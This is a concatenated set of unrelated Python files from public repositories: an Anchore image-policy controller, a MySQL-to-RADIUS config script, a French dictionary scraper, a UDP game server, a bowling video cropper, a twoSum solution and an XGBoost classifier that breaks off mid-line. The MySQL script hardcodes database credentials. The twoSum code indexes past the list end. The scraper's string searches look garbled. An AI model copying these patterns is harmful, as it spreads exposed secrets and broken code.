Exception as e:\n print(\"Code failed with error: \"+str(e))\n\ndf.to_csv(\"/home/ubuntu/thesis/data/output/translatedData.csv\")\n","repo_name":"shweta-0511/fineTuningDavinci","sub_path":"thesis/script/generateText.py","file_name":"generateText.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"43724534455","text":"import copy\nimport subprocess\n\nimport sys\nimport os\nimport re\nimport json \nimport random \nimport shutil\nimport hashlib\n\n#from anchore import anchore_utils#, anchore_policy\nimport anchore_policy, anchore_utils\n\nimport logging\n\nfrom anchore.util import scripting, contexts\n\nDEVNULL=open(os.devnull, 'wb')\n\nclass Controller(object):\n \"\"\"\n Component that manages gate execution on images.\n \"\"\"\n\n _logger = logging.getLogger(__name__)\n\n def __init__(self, anchore_config, imagelist, allimages, force=False):\n self.config = anchore_config\n self.allimages = allimages\n \n if len(imagelist) <= 0:\n raise Exception(\"No images given to evaluate\")\n\n self.images = anchore_utils.image_context_add(imagelist, allimages, docker_cli=contexts['docker_cli'], tmproot=self.config['tmpdir'], anchore_db=contexts['anchore_db'], docker_images=contexts['docker_images'], must_be_analyzed=True, must_load_all=True)\n\n self.anchoreDB = contexts['anchore_db']\n\n self.default_gatepol = '/'.join([self.config.config_dir, \"anchore_gate.policy\"])\n self.default_global_whitelist = os.path.join(self.config.config_dir, \"anchore_global.whitelist\")\n\n self.policy_override = None\n self.global_whitelist_override = None\n self.show_triggerIds = False\n\n def merge_policies(self, poldst, polsrc):\n polret = copy.deepcopy(poldst)\n for sk in polsrc.keys():\n if sk not in polret:\n polret[sk] = polsrc[sk]\n\n for smk in polsrc[sk].keys():\n if smk not in polret[sk]:\n polret[sk] = polsrc[sk]\n \n return(polret)\n\n def save_policy(self, imageId, policy):\n outlist = list()\n\n for k in policy.keys():\n for c in policy[k].keys():\n if policy[k][c]['params']:\n outline = k + \":\" + c + \":\" + policy[k][c]['action'] + \":\" + policy[k][c]['params']\n else:\n outline = k + \":\" + c + \":\" + policy[k][c]['action']\n outlist.append(outline)\n\n self.anchoreDB.save_gate_policy(imageId, outlist)\n return(True)\n\n def get_images(self):\n return(self.images)\n\n def get_image_policies(self, image):\n # load default and image override policies, merge (if new\n # checks are in default), and save (if there is a diff after\n # the merge)\n\n try:\n policy = anchore_policy.read_policy(name='default', file=self.default_gatepol)\n policy_data = policy['default']\n except Exception as err:\n policy_data = []\n default_policies = anchore_policy.structure_policy(policy_data)\n\n policy_data = self.anchoreDB.load_gate_policy(image.meta['imageId'])\n image_policies = anchore_policy.structure_policy(policy_data)\n\n if image_policies and default_policies:\n policies = self.merge_policies(image_policies, default_policies)\n if policies != image_policies:\n self.save_policy(image.meta['imageId'], policies)\n else:\n policies = default_policies\n self.save_policy(image.meta['imageId'], policies)\n\n return(policies)\n\n def load_global_whitelist(self):\n ret = []\n whitelist_data = []\n whitelist_file = None\n\n if self.global_whitelist_override and os.path.exists(self.global_whitelist_override):\n whitelist_file = self.global_whitelist_override\n elif self.default_global_whitelist and os.path.exists(self.default_global_whitelist):\n whitelist_file = self.default_global_whitelist\n else:\n self._logger.debug(\"no global whitelist can be found, skipping\")\n\n if whitelist_file:\n whitelist_data = anchore_policy.read_whitelist(name='default', file=whitelist_file)\n ret = anchore_policy.structure_whitelist(whitelist_data['default'])\n \n return(ret)\n\n def load_whitelist(self, image):\n ret = {'ignore':[], 'enforce':[]}\n\n data = self.anchoreDB.load_gate_whitelist(image.meta['imageId'])\n if not data:\n return(ret)\n\n for l in data:\n try:\n if re.match(\"^#.*\", l):\n l = re.sub(\"^#\", \"\", l)\n json_dict = json.loads(l)\n ret['ignore'].append(json_dict)\n else:\n json_dict = json.loads(l)\n ret['enforce'].append(json_dict)\n except:\n pass\n\n return(ret)\n\n def save_whitelist(self, image, loaded, latest):\n new = {'ignore':list(loaded['ignore']), 'enforce':loaded['enforce']}\n\n whitelist = self.anchoreDB.load_gate_whitelist(image.meta['imageId'])\n if not whitelist:\n outlist = list()\n for i in latest:\n if 'check' in i and i['check'] == 'FINAL':\n continue\n outlist.append(json.dumps(i))\n self.anchoreDB.save_gate_whitelist(image.meta['imageId'], outlist)\n else:\n newpol = False\n for i in latest:\n if 'check' in i and i['check'] == 'FINAL':\n continue\n # add evaled policy if not in the loaded whitelist\n if i not in new['ignore'] and i not in new['enforce']:\n new['enforce'].append(i)\n newpol = True\n\n # write the new whitelist, adding any new policies\n if newpol:\n outlist = list()\n for i in new['ignore']:\n outlist.append(\"#\"+json.dumps(i))\n for i in new['enforce']:\n outlist.append(json.dumps(i))\n self.anchoreDB.save_gate_whitelist(image.meta['imageId'], outlist)\n return(True)\n\n def load_policies(self, image):\n policies = {}\n if self.policy_override:\n try:\n policy = anchore_policy.read_policy(name='default', file=self.policy_override)\n policy_data = policy['default']\n \n except Exception as err:\n policy_data = []\n\n policies = anchore_policy.structure_policy(policy_data)\n else:\n policies = self.get_image_policies(image)\n\n return(policies)\n\n def evaluate_gates_results(self, image):\n ret = list()\n fullret = list()\n final_gate_action = 'GO'\n\n # prep the input\n policies = self.load_policies(image)\n policies_whitelist = self.load_whitelist(image)\n global_whitelist = self.load_global_whitelist()\n\n # perform the evaluation\n ret, fullret = anchore_policy.evaluate_gates_results(image.meta['imageId'], policies, policies_whitelist, global_whitelist)\n\n # save the results\n self.save_whitelist(image, policies_whitelist, ret)\n for i in ret:\n self.anchoreDB.del_gate_eval_output(image.meta['imageId'], i['check'])\n\n evals = {}\n for i in ret:\n if i['check'] not in evals:\n evals[i['check']] = list()\n evals[i['check']].append(' '.join([i['trigger'], i['action']]))\n\n for i in evals.keys():\n self.anchoreDB.save_gate_eval_output(image.meta['imageId'], i, evals[i])\n\n self.anchoreDB.save_gates_eval_report(image.meta['imageId'], ret)\n return(ret, fullret)\n\n def execute_gates(self, image, refresh=True):\n self._logger.debug(\"gate policy evaluation for image \"+str(image.meta['imagename'])+\": begin\")\n\n imageId = image.meta['imageId']\n policies = self.load_policies(image)\n success = True\n \n success = anchore_policy.execute_gates(imageId, policies)\n if success:\n report = self.generate_gates_report(image)\n self.anchoreDB.save_gates_report(image.meta['imageId'], report)\n self._logger.info(image.meta['shortId'] + \": evaluated.\")\n\n self._logger.debug(\"gate policy evaluation for image \"+str(image.meta['imagename'])+\": end\")\n return(success)\n\n def generate_gates_report(self, image):\n # this routine reads the results of image gates and generates a formatted report\n report = {}\n\n outputs = self.anchoreDB.list_gate_outputs(image.meta['imageId'])\n for d in outputs:\n report[d] = self.anchoreDB.load_gate_output(image.meta['imageId'], d)\n\n return(report)\n\n def result_get_highest_action(self, results):\n return(anchore_policy.result_get_highest_action(results))\n\n def run_gates(self, policy=None, refresh=True, global_whitelist=None, show_triggerIds=False, show_whitelisted=False):\n # actually run the gates\n ret = {}\n\n if policy:\n self.policy_override = policy\n\n if global_whitelist:\n self.global_whitelist_override = global_whitelist\n\n self.show_triggerIds = show_triggerIds\n self.show_whitelisted = show_whitelisted\n\n for imageId in self.images:\n image = self.allimages[imageId]\n \n rc = self.execute_gates(image, refresh=refresh)\n if not rc:\n raise Exception(\"one or more gates failed to execute\")\n\n results, fullresults = self.evaluate_gates_results(image)\n \n record = anchore_policy.structure_eval_results(imageId, fullresults, show_triggerIds=self.show_triggerIds, show_whitelisted=self.show_whitelisted, imageName=image.get_human_name())\n\n ret[imageId] = record\n return(ret)\n\n def editpolicy(self):\n return(self.edit_policy_file(editpolicy=True))\n\n def editwhitelist(self):\n return(self.edit_policy_file(whitelist=True))\n\n def listpolicy(self):\n ret = {}\n for imageId in self.images:\n if imageId in self.allimages:\n policy_data = self.anchoreDB.load_gate_policy(imageId)\n image_pol = anchore_policy.structure_policy(policy_data)\n ret[imageId] = image_pol\n return(ret)\n\n def rmpolicy(self):\n for imageId in self.images:\n if imageId in self.allimages:\n self.anchoreDB.del_gate_policy(imageId)\n\n return(True)\n\n def updatepolicy(self, newpolicyfile):\n #policy_data = anchore_utils.read_plainfile_tolist(newpolicyfile)\n try:\n policy = anchore_policy.read_policy(name='default', file=newpolicyfile)\n policy_data = policy['default']\n except Exception as err:\n policy_data = []\n\n newpol = anchore_policy.structure_policy(policy_data)\n for imageId in self.images:\n if imageId in self.allimages:\n try:\n self.save_policy(imageId, newpol)\n except Exception as err:\n self._logger.error(\"failed to update policy for image (\"+imageId+\"). bailing out: \" + str(err))\n return(False)\n return(True)\n\n def edit_policy_file(self, editpolicy=False, whitelist=False):\n ret = True\n\n if not editpolicy and not whitelist:\n # nothing to do\n return(ret)\n\n for imageId in self.images:\n if editpolicy:\n data = self.anchoreDB.load_gate_policy(imageId)\n else:\n data = self.anchoreDB.load_gate_whitelist(imageId)\n\n if not data:\n self._logger.info(\"Cannot find existing data to edit, skipping: \" + str(imageId))\n else:\n tmpdir = anchore_utils.make_anchoretmpdir(\"/tmp\")\n try:\n thefile = os.path.join(tmpdir, \"anchorepol.\"+imageId)\n anchore_utils.write_plainfile_fromlist(thefile, data)\n if \"EDITOR\" in os.environ:\n cmd = os.environ[\"EDITOR\"].split()\n cmd.append(thefile)\n try:\n subprocess.check_output(cmd, shell=False)\n except:\n ret = False\n elif os.path.exists(\"/bin/vi\"):\n try:\n rc = os.system(\"/bin/vi \" + thefile)\n if rc:\n ret = False\n except:\n ret = False\n else:\n self._logger.info(\"Cannot find editor to use: please set the EDITOR environment variable and try again\")\n break\n\n #newdata = anchore_utils.read_plainfile_tolist(thefile)\n try:\n policy = anchore_policy.read_policy(name='default', file=thefile)\n newdata = policy['default']\n except Exception as err:\n newdata = []\n\n if editpolicy:\n self.anchoreDB.save_gate_policy(imageId, newdata)\n else:\n self.anchoreDB.save_gate_whitelist(imageId, newdata)\n except Exception as err:\n pass\n finally:\n if tmpdir:\n shutil.rmtree(tmpdir)\n\n return(ret)\n","repo_name":"anchore/anchore","sub_path":"anchore/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":13370,"program_lang":"python","lang":"en","doc_type":"code","stars":360,"dataset":"github-code","pt":"77"} +{"seq_id":"2016307615","text":"import MySQLdb\nimport sys\nimport os\nimport argparse\n\n\nclass DB:\n def __init__(self):\n self.db = MySQLdb.connect(\"10.128.20.18\", \"remote_user\", \"fireeye\", \"wmps\")\n self.cursor = self.db.cursor()\n\n def execute_query(self, query):\n self.cursor.execute(query)\n\n def get_one_row(self):\n return self.cursor.fetchone()\n\n def get_all(self):\n return self.cursor.fetchall()\n\n def update_db(self, sql_file):\n self.cursor.execute('source {}'.format(sql_file))\n\n def close(self):\n self.db.close()\n\n\ndef find_device():\n db = DB()\n query = \"select name, ssh_ip from testbeds where ssh_ip like '10.128%'\"\n\n db.execute_query(query)\n # data = db.get_one_row()\n\n\n data = db.get_all()\n\n fmt = \"\"\"\nclient %s {\nsecret = testing123\nnas_type = other\n}\n\n\"\"\"\n\n fl = open('list.txt', 'w')\n\n for tpl in data:\n ip = tpl[1]\n fl.write(fmt % ip)\n\n fl.close()\n\nif __name__ == '__main__':\n find_device()","repo_name":"psanjay679/codesignal","sub_path":"CodechefPrepare/find_all_appliances.py","file_name":"find_all_appliances.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"14049097247","text":"# -*- coding: utf-8 -*-\r\nimport requests\r\n\r\nfrom urllib.request import Request, urlopen\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\n\r\nfrom fichier import *\r\nfrom path import *\r\n\r\nclass internet:\r\n\r\n def search(self, mot, liste1):\r\n\r\n \r\n self.mot = mot\r\n \r\n self.liste1 = liste1\r\n self.liste = []\r\n\r\n path = DICO_DEF.format(self.mot)\r\n \r\n requete = requests.get(path)\r\n page = requete.content\r\n \r\n soup = BeautifulSoup(page, \"html.parser\") \r\n propriete = soup.find_all(\"div\", {\"class\":\"defbox\"})\r\n \r\n for i in propriete:\r\n fichier.requete_py(self, \"requete.py\", i, self.liste)\r\n pos1 = str(self.liste).find(\"\") + 3\r\n pos2 = str(self.liste).find(\"\") - 3\r\n a = self.liste[0][pos1:pos2]\r\n self.liste = []\r\n \r\n autre_def = str(i).find(\"Autre définition\")\r\n autre_def1 = str(i).find(\"Aucun mot trouvé\")\r\n\r\n if autre_def > 0:\r\n pass\r\n \r\n elif autre_def1 > 0:\r\n pass\r\n \r\n elif a == \"Définitions corespondante à votre recherche\":\r\n mot_sing = mot[:-1]\r\n mot_trouvé = str(propriete).find(str(mot_sing))\r\n mot_fem_plur = mot[:-2]\r\n mot_fem_plur_trouvé = str(propriete).find(str(mot_fem_plur))\r\n \r\n if mot_trouvé > 0: #sing\r\n path_sing = DICO_DEF.format(str(mot_sing))\r\n requete = requests.get(path_sing)\r\n page = requete.content\r\n soup = BeautifulSoup(page, \"html.parser\") \r\n propriete = soup.find_all(\"div\", {\"class\":\"defbox\"})\r\n\r\n for i in propriete:\r\n fichier.requete_py(self, \"requete.py\", i, self.liste)\r\n pos1 = str(self.liste).find(\"\") + 3\r\n pos2 = str(self.liste).find(\"\") - 3\r\n a = self.liste[0][pos1:pos2]\r\n mot_trouvé2 = str(a).find(str(\"Autre définition\"))\r\n #plur fem\r\n if a == \"Définitions corespondante à votre recherche\"\\\r\n and mot_fem_plur_trouvé > 0:\r\n path_fem = DICO_DEF.format(str(mot_fem_plur))\r\n requete = requests.get(path_fem)\r\n page = requete.content\r\n soup = BeautifulSoup(page, \"html.parser\") \r\n propriete = soup.find_all(\"div\", {\"class\":\"defbox\"})\r\n\r\n for i in propriete:\r\n #print(i)\r\n fichier.requete_py(self, \"requete.py\", i, self.liste)\r\n pos1 = str(self.liste).find(\"\") + 3\r\n pos2 = str(self.liste).find(\"\") - 3\r\n a = self.liste[0][pos1:pos2]\r\n if a == \"Définitions corespondante à votre recherche\":\r\n pass\r\n else:\r\n self.liste1.append(a)\r\n self.liste = []\r\n \r\n elif mot_trouvé2 > 0:\r\n pass\r\n else:\r\n self.liste1.append(a)\r\n self.liste = []\r\n \r\n \r\n else:\r\n self.liste1.append(a)\r\n\r\n \r\n self.liste1 = set(self.liste1)\r\n #fais une fonction pour les pavés\r\n #régler les apostrophes\r\n #apprendre les framework et effacer toutes ces lignes...\r\n \r\n def search_verbe(self,path, recherche, liste, fichier, mode, mode2):\r\n \r\n self.path = path \r\n self.recherche = recherche\r\n self.liste = liste\r\n self.fichier = fichier\r\n self.mode = mode\r\n self.mode2 = mode2\r\n\r\n path_verbe = DICO_VERBE.format(str(self.recherche))\r\n requete = requests.get(path_verbe)\r\n page = requete.content\r\n soup = BeautifulSoup(page, \"html.parser\") \r\n propriete = soup.find(\"blockquote\")\r\n\r\n with open(self.fichier, self.mode) as file:\r\n file.write(str(propriete))\r\n \r\n with open(self.fichier, self.mode2) as file2:\r\n b = file2.read()\r\n\r\n pos1 = str(b).find(\"VERBE\")\r\n \r\n if pos1 > 0:\r\n self.liste.append(\"Verbe\")\r\n \r\n else:\r\n self.liste.append(\"None\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n if self.oInput[-1] == \"?\":\r\n nom_phrase = \"phrase interogrative\"\r\n self.liste_melange.insert(0, nom_phrase)\r\n \r\n elif self.oInput[-1] == \"!\":\r\n nom_phrase = \"phrase exclamative\"\r\n self.liste_melange.insert(0, nom_phrase)\r\n\r\n else:\r\n nom_phrase = \"phrase \" + str(self.liste_melange[0])\r\n self.liste_melange.insert(0, nom_phrase)\r\n","repo_name":"pastrouveedespeudo/essais2","sub_path":"phrase1.1/internet.py","file_name":"internet.py","file_ext":"py","file_size_in_byte":5403,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"71579267449","text":"import socket\nimport threading\nimport pygame\nimport random\nimport queue\nimport time\nimport math\n# size of screen: 1200 X 1200\n\nIP = \"127.0.0.1\"\nPORT = 5566\nADDR = (IP, PORT)\nWINDOW_WIDTH = 600\nWINDOW_HEIGHT = 600\n\nRED = (255, 0, 0)\nWHITE = (255, 255, 255)\nYELLOW = (255, 255, 0)\nPURPLE = (153, 153, 255)\nsize = 1024\nIMAGE = 'C:/Users/yossi/syber/map2.jfif'\nREFRESH_RATE = 40\nLEFT = 1\nSCROLL = 2\nRIGHT = 3\nVELOCITY = 5\noutgoingQ = queue.Queue()\n\nclass threadServer(threading.Thread):\n def __init__(self, host, port, q):\n threading.Thread.__init__(self)\n self.host = host\n self.port = port\n self.players = []\n self.counter = 0\n self.q = q\n # pygame.init()\n # size = (WINDOW_WIDTH, WINDOW_HEIGHT)\n # self.screen = pygame.display.set_mode(size)\n self.players_locations = {}\n self.addresses = queue.Queue()\n self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.server_socket.bind((self.host, self.port))\n #self.server_socket.listen()\n self.startPlayers = {}\n\n s = sendToClient(self.q, self.server_socket, self.players_locations.keys(), self.addresses)\n s.start()\n\n def makePosition(self):\n return (random.randint(0, 1200), random.randint(0, 1200))\n\n def run(self):\n print(\"Server is up and running\")\n # pygame.init()\n # size = (WINDOW_WIDTH, WINDOW_HEIGHT)\n # screen = pygame.display.set_mode(size)\n while True:\n (data, addr) = self.server_socket.recvfrom(1024)\n if data.decode() == \"out\":\n del self.players_locations[addr]\n for i in self.players_locations.keys():\n self.q.put(((\"out\"+str(addr)), i))\n\n elif data.decode() == \"Hello\" and addr not in self.players:\n print(\"********************new player***********************************\")\n #adding the new player\n self.counter += 1\n self.players.append(addr)\n\n #making and sending random backstage position for the new player:\n cPosition = self.makePosition()\n self.players_locations[addr] = cPosition\n print(\"PlAYERS: \", self.players_locations)\n self.server_socket.sendto((str(cPosition)).encode(), addr)\n\n c = listenToClient(addr, self, self.q, cPosition)\n c.start()\n else:\n position = toTuple(data.decode())\n #print(\"position i got from client: \", position)\n self.players_locations[addr] = position\n #print(\"locations: \", self.players_locations)\n for i in self.players_locations.keys():\n self.addresses.put(i)\n c = calc(self.players_locations, self.q)\n c.start()\n\ndef toTuple(st: str):\n start = st.find(\"(\")\n end = st.find(\",\")\n #print(st[start+1:end])\n e = st.find(\")\")\n #print(st[end + 1:e], \", \", len(st[start+1:end]))\n return (int(st[start+1:end]), int(st[end + 1:e]))\n\n\nclass sendToClient(threading.Thread):\n def __init__(self, q, server, players, addr):\n #threading.Thread.__init__(self)\n super(sendToClient, self).__init__()\n self.q = q\n self.server = server\n self.addr = players\n self.addresses = addr\n self.count = 0\n\n def run(self):\n print(\"sending\")\n while True:\n if not self.q.empty():\n message = self.q.get()\n #print(\"players to send to: \", self.addr)\n #for i in self.addr:\n #if i != message[0]:\n # while not self.addresses.empty():\n # try:\n # i = self.addresses.get()\n # self.server.sendto((str(message[1])+str(self.count)).encode(), i)\n # print(self.count, \" sending to: \", i)\n # self.count += 1\n # #message[0].send(message[1].encode())\n # except:\n # print('socket error :', )\n\n msg = message[0]\n addr = message[1]\n print(\"sending: \", msg, \"to: \", addr)\n self.server.sendto((str(msg)).encode(), addr)\n print(\"q after sending: \", list(self.q.queue))\n time.sleep(0.1)\n\nclass listenToClient(threading.Thread):\n def __init__(self, addr, Tserver, q, loc):\n threading.Thread.__init__(self)\n #self.client = client\n self.location = loc\n self.addr = addr\n self.server = Tserver.server_socket\n #self.posX = random.randint(0, WINDOW_WIDTH)\n #self.posY = random.randint(0, WINDOW_HEIGHT)\n self.running = True\n self.players = Tserver.players_locations\n #self.Tserver = Tserver\n self.q = q\n\n def run(self):\n #None\n #self.server.sendto(\"welcome to game\".encode(), self.addr)\n #print(\"addr: \", self.addr)\n while self.running:\n self.server.sendto(\"welcome to game\".encode(), self.addr)\n time.sleep(0.1)\n\nclass calc(threading.Thread):\n def __init__(self, playersLocations, q):\n threading.Thread.__init__(self)\n self.locations = playersLocations\n self.q = q\n\n def calc_distanse(self, loc1, loc2):\n x = math.pow((loc1[0] - loc2[0]), 2)\n y = math.pow((loc1[1] - loc2[1]), 2)\n return math.sqrt(x+y)\n\n def run(self):\n #print(\"current locations: \", self.locations)\n for a in list(self.locations):\n #print(\"a: \", a)\n loc1 = self.locations[a]\n for b in list(self.locations):\n if b is not a:\n loc2 = self.locations[b]\n dis = self.calc_distanse(loc1, loc2)\n #print(\"max dis: \", math.sqrt(720000), \"current dis = \", dis)\n if dis <= math.sqrt(180000) and ((b[1], loc2), a) not in self.q.queue:\n\n self.q.put(((b[1], loc2), a))\n print(\"q: \", list(self.q.queue))\n time.sleep(0.1)\n #self.q.put((b, a))\n #time.sleep(0.1)\n\nif __name__ == '__main__':\n s = threadServer(IP, PORT, outgoingQ)\n s.start()\n s.join()","repo_name":"edenMor2004/myFinalProject","sub_path":"fourthTry.py","file_name":"fourthTry.py","file_ext":"py","file_size_in_byte":6400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"72830555129","text":"# import the necessary packages\r\nimport io\r\nimport time\r\nimport cv2\r\nimport numpy as np\r\nimport cropdata640\r\n# import picamera\r\n# from PIL import Image\r\n\r\nmx=0\r\nmy=0\r\nx=0\r\ny=0\r\nframeNo = 0\r\n\r\n# crop_ranges are y,y1,x,x1 from top left\r\nball_crop_ranges = cropdata640.ballCrops\r\nreset_crop_ranges = cropdata640.resetArmCrops\r\npin_crop_ranges = cropdata640.pin_crop_ranges\r\n\r\ndef drawPinRectangles():\r\n global pin_image\r\n global pin_crop_ranges\r\n global x\r\n global y \r\n # NOTE: crop is img[y: y + h, x: x + w] \r\n # cv2.rectangle is a = (x,y) , b=(x1,y1)\r\n for i in range(0,10):\r\n a =(pin_crop_ranges[i][2]+x,pin_crop_ranges[i][0]+y)\r\n b = (pin_crop_ranges[i][3]+x, pin_crop_ranges[i][1]+y)\r\n cv2.rectangle(pin_image, b, a, 255, 2)\r\n if i == 6:\r\n cv2.putText(pin_image,str(a),a,cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(255,255,255),2)\r\n cv2.putText(pin_image,str(b),b,cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(255,255,255),2)\r\n if frameNo==11:\r\n cv2.imwrite('C:/Users/cliff/OneDrive/pyProjects/videos/AAA/VidCombinedMask2.jpg',pin_image)\r\n else:\r\n print('frame11')\r\n cv2.imwrite('C:/Users/cliff/OneDrive/pyProjects/videos/AAA/VidPinMask2.jpg',pin_image)\r\n\r\ndef drawBallRectangles():\r\n global ball_image\r\n global ball_crop_ranges, reset_crop_ranges\r\n global mx\r\n global my\r\n # NOTE: crop is img[y: y + h, x: x + w] \r\n # cv2.rectangle is a = (x,y) , b=(x1,y1)\r\n\r\n for i in range(0,1):\r\n a =(ball_crop_ranges[i][2]+mx,ball_crop_ranges[i][0]+my)\r\n b = (ball_crop_ranges[i][3]+mx, ball_crop_ranges[i][1]+my)\r\n cv2.rectangle(ball_image, b, a, 255, 2)\r\n c =(reset_crop_ranges[i][2]+mx,reset_crop_ranges[i][0]+my)\r\n d = (reset_crop_ranges[i][3]+mx, reset_crop_ranges[i][1]+my)\r\n cv2.rectangle(ball_image, d, c, 255, 2)\r\n if i == 0:\r\n cv2.putText(ball_image,str(a),a,cv2.FONT_HERSHEY_SIMPLEX,1,(255,255,255),2)\r\n cv2.putText(ball_image,str(b),(b[0]-250,b[1]),cv2.FONT_HERSHEY_SIMPLEX,1,(255,255,255),2)\r\n cv2.imwrite('C:/Users/cliff/OneDrive/pyProjects/videos/AAA/VidBallMask2.jpg',ball_image)\r\n print('frame')\r\n\r\ndef detect_motion():\r\n global frameNo\r\n global mask\r\n global pin_image\r\n global ball_image\r\n global frame2\r\n \r\n frameNo = frameNo +1\r\n image = frame2\r\n \r\n \r\n if frameNo == 9:\r\n pin_image = image\r\n drawPinRectangles()\r\n if frameNo == 10:\r\n ball_image = image\r\n drawBallRectangles()\r\n # if frameNo == 11:\r\n # ball_image = image\r\n # drawBallRectangles()\r\n # pin_image = ball_image\r\n # drawPinRectangles()\r\n\r\n return True\r\n \r\n# initialize the camera and grab a reference to the raw camera capture\r\ncap = cv2.VideoCapture('../vidim/All/video0.h264')\r\nwhile(cap.isOpened()):\r\n ret, frame2 = cap.read()\r\n if frameNo<15:\r\n detect_motion()\r\n \r\n else:\r\n print(\"Complete. Images in videos/AAA\")\r\n break\r\n","repo_name":"cliffeby/Duckpin2","sub_path":"vidShowCrops640.py","file_name":"vidShowCrops640.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"74455750327","text":"# coding:utf-8\nclass Solution(object):\n def twoSum(self, numbers, target):\n \"\"\"\n :type numbers: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n a = 0\n b = len(numbers)\n while a < b:\n if numbers[a] + numbers[b] == target:\n return [a, b]\n elif numbers[a] + numbers[b] < target:\n a += 1\n else:\n b -= 1\n\n# 这个题是在一个有序的列表里面找两个值,两个值的和等于目标值。","repo_name":"yjinyyzyq/code_country","sub_path":"leetcode/twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"73270750967","text":"import numpy as np\nfrom sklearn.model_selection import GridSearchCV, StratifiedShuffleSplit\nimport xgboost as xgb\nfrom sklearn.metrics import classification_report, recall_score, f1_score\nimport random\nimport random\nimport pandas as pd\n\n# Diccionario para codificar los nombres de las clases\ncategorical_encoder_class = {'RESIDENTIAL': 0,\n 'INDUSTRIAL': 1,\n 'PUBLIC': 2,\n 'OFFICE': 3,\n 'OTHER': 4,\n 'RETAIL': 5,\n 'AGRICULTURE': 6\n}\n\n# Diccionario para codificar la variable categorica CADASTRALQUALITYID a un vector one-hot\ncategorical_encoder_catastral = {\n 'A': [1, 0, 0, 0, 0, 0, 0, 0, 0 ,0 ,0 ,0 ,0],\n 'B': [0, 1, 0, 0, 0, 0, 0, 0, 0 ,0 ,0 ,0 ,0],\n 'C': [0, 0, 1, 0, 0, 0, 0, 0, 0 ,0 ,0 ,0 ,0],\n '1': [0, 0, 0, 1, 0, 0, 0, 0, 0 ,0 ,0 ,0 ,0],\n '2': [0, 0, 0, 0, 1, 0, 0, 0, 0 ,0 ,0 ,0 ,0],\n '3': [0, 0, 0, 0, 0, 1, 0, 0, 0 ,0 ,0 ,0 ,0],\n '4': [0, 0, 0, 0, 0, 0, 1, 0, 0 ,0 ,0 ,0 ,0],\n '5': [0, 0, 0, 0, 0, 0, 0, 1, 0 ,0 ,0 ,0 ,0],\n '6': [0, 0, 0, 0, 0, 0, 0, 0, 1 ,0 ,0 ,0 ,0],\n '7': [0, 0, 0, 0, 0, 0, 0, 0, 0 ,1 ,0 ,0 ,0],\n '8': [0, 0, 0, 0, 0, 0, 0, 0, 0 ,0 ,1 ,0 ,0],\n '9': [0, 0, 0, 0, 0, 0, 0, 0, 0 ,0 ,0 ,1 ,0],\n '\"\"': [0, 0, 0, 0, 0, 0, 0, 0, 0 ,0 ,0 ,0 ,1]\n}\n\n# Variable que contendrá las muestras\ndata = []\n\nwith open(r'Data/Modelar_UH2020.txt') as read_file:\n # La primera linea del documento es el nombre de las variables, no nos interesa\n read_file.readline()\n # Leemos línea por línea adaptando las muestras al formato deseado (codificar el valor catastral y la clase)\n for line in read_file.readlines():\n # Eliminamos el salto de línea final\n line = line.replace('\\n', '')\n # Separamos por el elemento delimitador\n line = line.split('|')\n # Cambiamos CONTRUCTIONYEAR a la antiguedad del terreno\n line[52] = 2020 - int(line[52])\n if line[53] is '':\n line[53] = 0\n line[55] = categorical_encoder_class[line[55]]\n # Codificamos CADASTRALQUALITYID y arreglamos la muestra\n data.append(line[1:54] + categorical_encoder_catastral[line[54]] + [line[55]])\n\n\n# Finalmente convertimos las muestras preprocesadas a una matriz\ndata = np.array(data).astype('float32')\n\n# Variable que contendrá las muestras separadas por clase\ndata_per_class = []\n\n# Añadimos una lista vacía por clase\nfor _ in range(7): \n data_per_class.append([])\n# Añadimos a la lista de cada clase las muestras de esta\nfor sample in data:\n data_per_class[int(sample[len(sample) - 1])].append(sample)\n\n\n# Variable que contendrá las muestras a predecir\ndata_predict = []\n\n# Mismo procesamiento de datos que para el conjunto inicial\nwith open(r'Data/Estimar_UH2020.txt') as read_file:\n # La primera linea del documento es el nombre de las variables, no nos interesa\n read_file.readline()\n # Leemos línea por línea adaptando las muestras al formato deseado (codificar el valos catastral)\n for line in read_file.readlines():\n # Eliminamos el salto de línea final\n line = line.replace('\\n', '')\n # Separamos por el elemento delimitador\n line = line.split('|')\n # Cambiamos CONTRUCTIONYEAR a la antiguedad del terreno\n line[52] = 2020 - int(line[52])\n if line[53] is '':\n line[53] = 0\n # Codificamos CADASTRALQUALITYID y arreglamos la muestra\n data_predict.append(line[:54] + categorical_encoder_catastral[line[54]])\n\n# Finalmente convertimos las muestras preprocesadas a una matriz (no númerica, nos interesa el id esta vez)\ndata_predict = np.array(data_predict)\n\ndata_proc = []\n # Muestras de la clase RESIDENTIAL\nrandom.shuffle(data_per_class[0])\ndata_proc += data_per_class[0][:5000]\n\n# Muestras de las otras clases\nfor i in range(6):\n data_proc += data_per_class[i + 1]\n \n # Volvemos a convertir los datos una vez procesados a una matriz\ndata_proc = np.array(data_proc)\n\n# Realizamos under_sampling\npos = len(data_proc[0]) - 1\nX, Y = (data_proc[:, :pos], data_proc[:, pos])\n\n# Obtenemos una separación del conjunto de train y test equilibrado (respecto a porcentaje de cada clase)\nsss = StratifiedShuffleSplit(n_splits = 1, test_size=0.2)\nfor train_index, test_index in sss.split(X, Y):\n X_train, X_test = X[train_index], X[test_index]\n y_train, y_test = Y[train_index], Y[test_index]\n\n# Modelo XGB\nmodel = 